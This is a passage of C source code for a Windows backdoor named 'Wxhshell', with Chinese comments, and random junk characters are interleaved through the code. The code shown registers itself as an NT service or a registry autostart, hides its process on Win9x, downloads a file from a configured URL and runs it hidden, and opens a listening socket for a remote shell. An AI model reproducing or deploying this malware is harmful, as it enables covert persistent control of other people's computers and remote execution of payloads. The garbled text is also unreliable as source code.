hMod, procName, sizeof(procName)); *xE"8pN/ \7Gg2;TA6o CloseHandle(hProcess); V#'26@@ E0"10Qbi if(strstr(procName,"services")) return 1; // 以服务启动 I 1 b TL},Unq return 0; // 注册表启动 PIZ
C;K4| } &1z)fD2 oA4D\rn8" // 主模块 `Yx-~y5X int StartWxhshell(LPSTR lpCmdLine) 0'?V|V=v { vKNt$]pm= SOCKET wsl; q2x|%HRF BOOL val=TRUE; .i {>Z int port=0; AbUDn\0$ struct sockaddr_in door; cGgM8 }>MP{67Dm if(wscfg.ws_autoins) Install(); )uQ-YC('0 xS6(K port=atoi(lpCmdLine); =?/N5O( lGdM80f if(port<=0) port=wscfg.ws_port; #TMm#?lC 9=t#5J#O WSADATA data; N\9}\Rk@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4. 1rJa [YC=d1F5 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9$7&URwSDI setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QS3U)ZO$@ door.sin_family = AF_INET; 51I|0ly door.sin_addr.s_addr = inet_addr("127.0.0.1"); .6> hD1' door.sin_port = htons(port); 3B@y &a#& *#3*;dya] if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &|v{#,ymeb closesocket(wsl); Z?m
-&% return 1; ipG5l } x|]\1sb" iM:yX=>a if(listen(wsl,2) == INVALID_SOCKET) { \Sg<='/{L; closesocket(wsl); q=|R89 return 1; K K?Zm_ } 9mam ~)_ | Wxhshell(wsl); r& vFikIz WSACleanup(); IQ ){(Y gRBSt
M&hU return 0; gks ==|s. bf& }8I$ } _p\629` &!ED# gs // 以NT服务方式启动 ?2{bKIV_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _|N}4a { 3pvYi<<D' DWORD status = 0; !X^Hi=aV DWORD specificError = 0xfffffff; :6XguU KX!i\NHz serviceStatus.dwServiceType = SERVICE_WIN32; 6gXIt9B.h$ serviceStatus.dwCurrentState = SERVICE_START_PENDING; l0I}&,+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vt//)*(.$ serviceStatus.dwWin32ExitCode = 0; ujU=JlJ7dl serviceStatus.dwServiceSpecificExitCode = 0; g %f*ofb serviceStatus.dwCheckPoint = 0; &J_Z~^ serviceStatus.dwWaitHint = 0; Y RPm^kW 7 _`L$<-n hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J , V if (hServiceStatusHandle==0) return; pgT9hle/ [`d$X^<y; status = GetLastError(); m9Ax\lf if (status!=NO_ERROR) OFA{
KZga {
3P1&; serviceStatus.dwCurrentState = SERVICE_STOPPED; ~
|6dH serviceStatus.dwCheckPoint = 0; :M06 ;:e serviceStatus.dwWaitHint = 0; [r(Qs| serviceStatus.dwWin32ExitCode = status; r#A_RZ2~@ serviceStatus.dwServiceSpecificExitCode = specificError; 7KU~(?|:h SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7c-Gm R2 return; iZaeoy } "NDxgJ%J35 3{KR
{B#L serviceStatus.dwCurrentState = SERVICE_RUNNING; ] /+D^6 serviceStatus.dwCheckPoint = 0; %%>_B2vc serviceStatus.dwWaitHint = 0; syv$XeG=} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x[QZ@rGIW } 9M_(He
- Z`Pd2VRp // 处理NT服务事件,比如:启动、停止 6SVqRD<` VOID WINAPI NTServiceHandler(DWORD fdwControl)
6xoq;=o { 'n0 .#E_ switch(fdwControl) d6`OXTD { 3\AM=` case SERVICE_CONTROL_STOP: .e@> serviceStatus.dwWin32ExitCode = 0; LOr|k8tL% serviceStatus.dwCurrentState = SERVICE_STOPPED; ,vV]"f serviceStatus.dwCheckPoint = 0; .x!T+`l>8I serviceStatus.dwWaitHint = 0; i(*I@ku { *5e+@rD` SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bd@'e7{ } 3J{vt"dS return; ZQ3_y $ case SERVICE_CONTROL_PAUSE: Po(]rQbE serviceStatus.dwCurrentState = SERVICE_PAUSED; 9GgA 6# break; q_ %cbAcD case SERVICE_CONTROL_CONTINUE: $+cAg> serviceStatus.dwCurrentState = SERVICE_RUNNING; lv]quloT break; f6!D L< case SERVICE_CONTROL_INTERROGATE: *XbI#L%> break; w(j^ccPD }; ubYG SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'xnnLCm. } ;gMgj$mI
F[saP0
* // 标准应用程序主函数 n,j$D62[ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [iS,#w`
5 { e'2Y1h |%1?3Mpn // 获取操作系统版本 fQ+\;iAU OsIsNt=GetOsVer(); cX:HD+wO GetModuleFileName(NULL,ExeFile,MAX_PATH); xY\0zQ auHFir8f // 从命令行安装 u3J?bR if(strpbrk(lpCmdLine,"iI")) Install(); Wkzs<y" $Z?\>K0i // 下载执行文件 +Llo81j& if(wscfg.ws_downexe) { 0:&ZnE}## if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~GJN@ka4% WinExec(wscfg.ws_filenam,SW_HIDE); ?m0IehI } w~Ff%p@9 5Y\!pf7SQ| if(!OsIsNt) { f[sF:f(zI // 如果时win9x,隐藏进程并且设置为注册表启动 >^$2f&z HideProc(); LO:fJ{ - StartWxhshell(lpCmdLine); eKN$jlg } Bfr'Zdw else iWLa> z|, if(StartFromService()) nmFC%p)4 // 以服务方式启动
npp[@*~ StartServiceCtrlDispatcher(DispatchTable); 9bJQT'<R else (\a6H2z8l // 普通方式启动 ^YvB9XN StartWxhshell(lpCmdLine); g~S)aU\:, %."@Q$lA return 0; N^w'Hw0 }
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